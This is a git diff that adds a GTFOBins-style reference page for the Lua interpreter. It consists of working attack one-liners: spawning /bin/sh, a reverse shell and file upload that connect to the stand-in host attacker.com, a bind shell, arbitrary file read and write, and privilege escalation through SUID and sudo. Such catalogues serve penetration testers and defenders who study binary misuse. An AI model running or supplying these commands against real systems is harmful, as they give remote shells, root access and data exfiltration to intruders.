Add lua

_gtfobins/lua.md

@@ -0,0 +1,68 @@
+---
+functions:
+  execute-interactive:
+    - code: lua -e 'os.execute("/bin/sh")'
+  reverse-shell-non-interactive:
+    - description: Run <code>nc -l -p 12345</code> on
+        the attacker box to receive the shell. This requires `lua-socket` installed.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        lua -e 'local s=require("socket");
+          local t=assert(s.tcp());
+          t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
+          while true do
+            local r,x=t:receive();local f=assert(io.popen(r,"r"));
+            local b=assert(f:read("*a"));t:send(b);
+          end;
+          f:close();t:close();'
+  bind-shell-non-interactive:
+    - description: Run `nc target.com 12345` on the attacker box to connect to the shell. This requires `lua-socket` installed.
+      code: |
+        export LPORT=12345
+        lua -e 'local k=require("socket");
+          local s=assert(k.bind("*",os.getenv("LPORT")));
+          local c=s:accept();
+          while true do
+            local r,x=c:receive();local f=assert(io.popen(r,"r"));
+            local b=assert(f:read("*a"));c:send(b);
+          end;c:close();f:close();'
+  upload:
+    - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"`
+        on the attacker box to collect the file. This requires `lua-socket` installed.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=file_to_send
+        lua -e '
+          local f=io.open(os.getenv("LFILE"), 'rb')
+          local d=f:read("*a")
+          io.close(f);
+          local s=require("socket");
+          local t=assert(s.tcp());
+          t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
+          t:send(d);
+          t:close();'
+  download:
+    - description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345
+        < "file_to_send"` on the attacker box to send the file. This requires `lua-socket` installed.
+      code: |
+        export LPORT=12345
+        export LFILE=file_to_save
+        lua -e 'local k=require("socket");
+          local s=assert(k.bind("*",os.getenv("LPORT")));
+          local c=s:accept();
+          local d,x=c:receive("*a");
+          c:close();
+          local f=io.open(os.getenv("LFILE"), "wb");
+          f:write(d);
+          io.close(f);'
+  file-write:
+    - code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);'
+  file-read:
+    - code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
+  suid-limited:
+    - code: ./lua -e 'os.execute("/bin/sh")'
+  sudo-enabled:
+    - code: sudo lua -e 'os.execute("/bin/sh")'
+---